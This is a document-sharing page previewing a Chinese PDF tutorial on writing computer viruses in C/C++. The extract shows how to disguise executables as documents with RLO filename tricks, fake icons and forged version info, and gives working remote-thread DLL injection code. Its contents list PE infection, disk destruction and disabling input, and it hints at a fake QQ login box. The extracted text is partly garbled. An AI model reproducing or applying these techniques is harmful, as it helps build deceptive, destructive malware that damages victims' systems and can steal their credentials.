简单病毒编写(c&c++篇)

上传人:suns****4568 文档编号:101268938 上传时间:2019-09-27 格式:PDF 页数:48 大小:2.13MB
返回 下载 相关 举报
简单病毒编写(c&c++篇)_第1页
第1页 / 共48页
简单病毒编写(c&c++篇)_第2页
第2页 / 共48页
简单病毒编写(c&c++篇)_第3页
第3页 / 共48页
简单病毒编写(c&c++篇)_第4页
第4页 / 共48页
简单病毒编写(c&c++篇)_第5页
第5页 / 共48页
点击查看更多>>
资源描述

《简单病毒编写(c&c++篇)》由会员分享,可在线阅读,更多相关《简单病毒编写(c&c++篇)(48页珍藏版)》请在金锄头文库上搜索。

1、光影 1 / 48 简单病毒编写简单病毒编写(C/C+篇)篇) 前言前言 简介简介:一些编写计算机病毒和木马功能方法的介绍与实现,阅读需要 C 语言基础与 windows API 基础。 文章主要讨论病毒与木马的伪装,破坏,隐藏与传播的实现。并附带几个小程序例子作为实 例说明。 约定约定: 1. 由于本人习惯,不管 C/C+都喜欢使用.cpp 文件。使用 C+特性,可以随时候随地定义 和声明变量,这样比较方便,而.c 文件变量的声明和定义都必须放在函数的开始,定义 一些临时变量什么的都需要拉回去开头书写有些麻烦。 2. 使用编译器(IDE)是 VS2010,默认的编码是 Unicode,所以有

2、时涉及字符的 API 都加上 A,表示 Ascii 版本。如:MessageBoxA。 3. 文章只是简单介绍,没有涉及高深的内容,病毒模型都是还不成型的病毒程序,请在清 楚程序执行后果后继续。另外。附带的程序不保证在文件传播过程中还是我一开始打包 的程序,有可能被修改后再打包传播。故如果你想要观看程序的运行效果,可以使用虚 拟机(最好有安装 office 系列程序) 。附带的这些病毒模型程序,运行请自负责任(否则 请勿使用) ,传播时需要接受方清楚该程序的作用并愿意自行接受。 本人不承担任何后 果,最终解释权归本人所有(以上,推卸责任完成) 。 4. 为了防止病毒模型被用于恶作剧,我在程序打

3、开的时候都会加入提示:“您运行的是一 个病毒模型 【XXXXXX】 , 可能会对您的系统造成不良影响, 您确定要运行?按下【确定】 开始执行。按下【取消】退出程序“ (运行提示) 光影 2 / 48 目录目录 简单病毒编写(C/C+篇) . 1 前言 . 1 一、 伪装 3 1. 伪装性 . 3 1. 实现方法 . 4 2. 程序例子:罪恶-闪烁者 7 3. 资源文件的使用 . 9 4. NTFS ADS 与流文件 11 5. 远程线程 . 14 二、 传播 19 1. 病毒传播之复制到系统文件夹。 . 19 2. PE 文件感染 23 三、 爆发 32 1. 特定时间内爆发 . 32 2.

4、全盘文件破坏 . 34 3. 磁盘盘符破坏 . 38 4. 禁用鼠标和键盘 . 40 5. 操作系统类型判断 . 42 结束? . 47 光影 3 / 48 一、一、 伪装伪装 病毒的大致作用就是“引诱用户运行” , “后台操作” , “复制传播” , “爆发” 。 对于大部分的破坏性文件病毒来说就是爆发前隐藏自己, 爆发的时候进行大肆破坏, 爆发后 将造成用户资料的丢失,系统的崩溃等。 对于隐私刺探型病毒,大多会获取用户账号,密码,开启摄像头等(类似于木马) 。 对于玩笑型病毒,如女鬼病毒,只有恶作剧的效果,并不会引起较大的破坏。 对于间接型病毒,如下载者,用于下载其他病毒木马等程序,或一些

5、针对杀毒软件的病毒, 破坏系统的安全性,用于下阶段的侵入。 1. 伪装伪装性性 常常可以见到病毒绑定在其他 exe 中一起运行,同时也可以通过更改图标,文件名的显 示顺序等迷惑用户。 如: 罪恶-闪烁者 程序的文件截图, 我们可以看到图标是 ppt, 文件信息是 “文稿.ppt” , 文件后缀名是“.ppt” ,咋看一下,是个 ppt 文档,但它切切实实是一个 exe 可执行程序。文 件名是: “新建 Microsoft PowerPointppt.exe” (罪恶-闪烁者程序文件截图,一个让屏幕不断开关的程序。看起来像一个 ppt) (七宗罪-暴食程序文件截图,一个尝试修改全盘文件内容的程序

6、,看起来像一个 doc) 光影 4 / 48 2. 实现方法实现方法 a. 命名。命名。 例子的程序:lucifer.exe 进行重命名: 删除后缀名 “.exe” ,然后右击选择 “插入 Unicode 控制字符(I)” ”RLO Start of right-to-left override”,这样就插入了特殊的控制符,之后输入的字符将从右显示。 我们输入“cod.exe”,看起来就变成了“exe.doc”,即“luciferexe.doc” ,看起来相当于一 个 WORD 文档。但是程序运行依旧正常。 重命名后得到: 光影 5 / 48 注:这种命名方式会造成需要使用本程序名操作的函数出

7、错(如复制,打开等) 。 b. 图标图标 在编译生成 exe 之前加入一些常用文档的图标,然后在生成 exe 即可。可以使用图标提取程 序直接在目标程序中提取图标,需要使用的时候就将图标导入资源文件。 c. 版本信息。版本信息。 在 EXE 文件中显示其他文件的信息。这在用户资源管理器中显示图标为“平铺”的状况 下特别有用(可以显示出我们伪装的信息) 。 以下以“七宗罪-暴食”为例子。 首先添加资源 Version。 (在“解决方案”右击 添加 - 资源) 光影 6 / 48 (选择 version,新建) 接着打开资源文件 Version。 (打开中的 Version) 在 FileDesc

8、ription 选项填入文件类型信息(具体可以新建一个该类型的文件然后对比输 入) ,在“七宗罪-暴食”中是伪装 word 文档,于是这里填入的是“Microsoft Word 97 - 2003 文档” 。 在 CompanyName,这里不要填入公司名称,而是填入文件大小,如“110.0KB” 。 光影 7 / 48 其他的可以自己看着修改,也可以空着。 最后保存,编译生成 EXE 程序。 (更改图标后的程序与 doc 文档对比。 ) d. 没有窗体没有窗体 C 语言的控制台编程项目(入口点一般是 main 函数) ,编写的程序有一个黑窗体一闪而 过。我们可以选择 Win32 项目(主函数

9、 WinMain) ,来编写我们的程序,以避免黑窗体的出 现。 主函数是: int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow) return 0; 3. 程序例子程序例子:罪恶:罪恶-闪烁者闪烁者 光影 8 / 48 综合上面的 1.命名,2.图标,3.版本信息,4.没有窗体。 下面是一个小例子。 a. 例子例子 玩笑型病毒:闪烁者,打开后什么提示有没有,我们的屏幕会不断亮了再暗,暗了再 亮当然你可以添加一些开机启动的代码, 开机就闪。 也可以添加一些无用的

10、操作或资源 文件,不要让这个“ppt 文件”看起来那么小。 b. 代码是代码是: #include #include int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) int num=0; while(num0) Sleep(1000); d. 远程线程实现远程线程实现 我们枚举进程,取得 PID 然后调用这个函数进行远程线程的注入,如果失败直接返回, 对下一个进程的注入,如果成功,那么则会进行等待,直到目标退出。详细见下面代码。 / 使用远程线程向指定

11、 ID 的进程注入模块,注入后的执行内容取于加载的 DLL BOOL InjectModuleToProcessById ( DWORD dwProcessId ) if ( dwProcessId = 0 ) return FALSE ; / 打开进程 HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS, FALSE, dwProcessId ) ; if ( hProcess = NULL ) return FALSE ; /申请存放文件名的空间 UINT nLen = (UINT)strlen ( szDllPath ) + 1; LPV

12、OID lpRemoteDllName = VirtualAllocEx ( hProcess, NULL, nLen, MEM_COMMIT, PAGE_READWRITE ) ; if ( lpRemoteDllName = NULL ) 光影 17 / 48 return FALSE ; /把 dll 文件名写入申请的空间,szDllPath 就是用来注入其他进程的 DLL if ( WriteProcessMemory ( hProcess, lpRemoteDllName, szDllPath, nLen, NULL) = FALSE ) return FALSE ; /获取动态链接

13、库函数地址 HMODULE hModule = GetModuleHandle ( L“kernel32.dll“ ) ; LPTHREAD_START_ROUTINE fnStartAddr = ( LPTHREAD_START_ROUTINE )GetProcAddress(hModule,“LoadLibraryA“) ; if ( (DWORD)fnStartAddr = 0 ) return FALSE ; /创建远程线程 HANDLE hRemoteThread = CreateRemoteThread ( hProcess, NULL, 0,fnStartAddr, lpRemo

14、teDllName, 0, NULL ) ; if ( hRemoteThread = NULL ) return FALSE ; / 等待远程线程结束 if ( WaitForSingleObject ( hRemoteThread, INFINITE ) != WAIT_OBJECT_0 ) return FALSE ; CloseHandle ( hRemoteThread ) ; if(hProcess!=NULL)CloseHandle ( hProcess ) ; return TRUE ; e. 实现例子:罪恶实现例子:罪恶-狩猎狩猎 伪装成 ini 配置文件的 exe 程序,打

15、开的时候会调用记事本打开自己,然后尝试注入某 个进程,被注入的进程将会弹出消息框,点击消息框确定后会退出该进程,然后是下一个。 光影 18 / 48 由于是演示程序,故加了消息框让用户知道是注入了哪个进程,在真正编写病毒的时候,一 般都是没有弹窗的,运行的时候谁也不知道(杀软一般会拦截) 。 运行后处理办法:先结束 winlogin_seini.exe 的进程,在找到消息框,点击确定即可(被 注入的进程会自动结束) 。 (罪恶-猎人文件截图,看起来就像一个 ini 文件,事实上它是 winlogin_seini.exe) 运行后打开程序(如 QQ) ,会先执行注入的代码(加载 dll 的时候)

16、 ,如果 DLL 代码里面 的 ExitProcess 去掉,那么点击消息框之后才会进入 QQ 登陆界面,否则是点击后直接退出。 (无限循环会在打开程序并未显示界面的时候先执行我们的代码, 待执行完毕之后再打 开界面,如图中的 QQ 程序,如果加上判断是否 QQ 的进程,是的话进行注入,如果将图中 的消息框改成伪装的 QQ 登陆框会是怎样的情况?) 光影 19 / 48 二、二、 传播传播 1. 病毒病毒传播之复制到系统文件夹。传播之复制到系统文件夹。 病毒或木马复制自身到系统文件夹是很常用的技术,如果你希望自己的病毒或木马躺在 对方硬盘里面装无辜的话。 a. 重要的文件夹重要的文件夹 很多病毒或木马都会将自己复制到系统的一些关键的文件夹中, 以达到隐藏自身或开机启动 的目的。 关键的文件夹有: C:Windows C:WindowsSystem32 C:WindowsSysWOW64 (64 位系统的), 开机启动文件夹(不同的 windo

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 大杂烩/其它

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号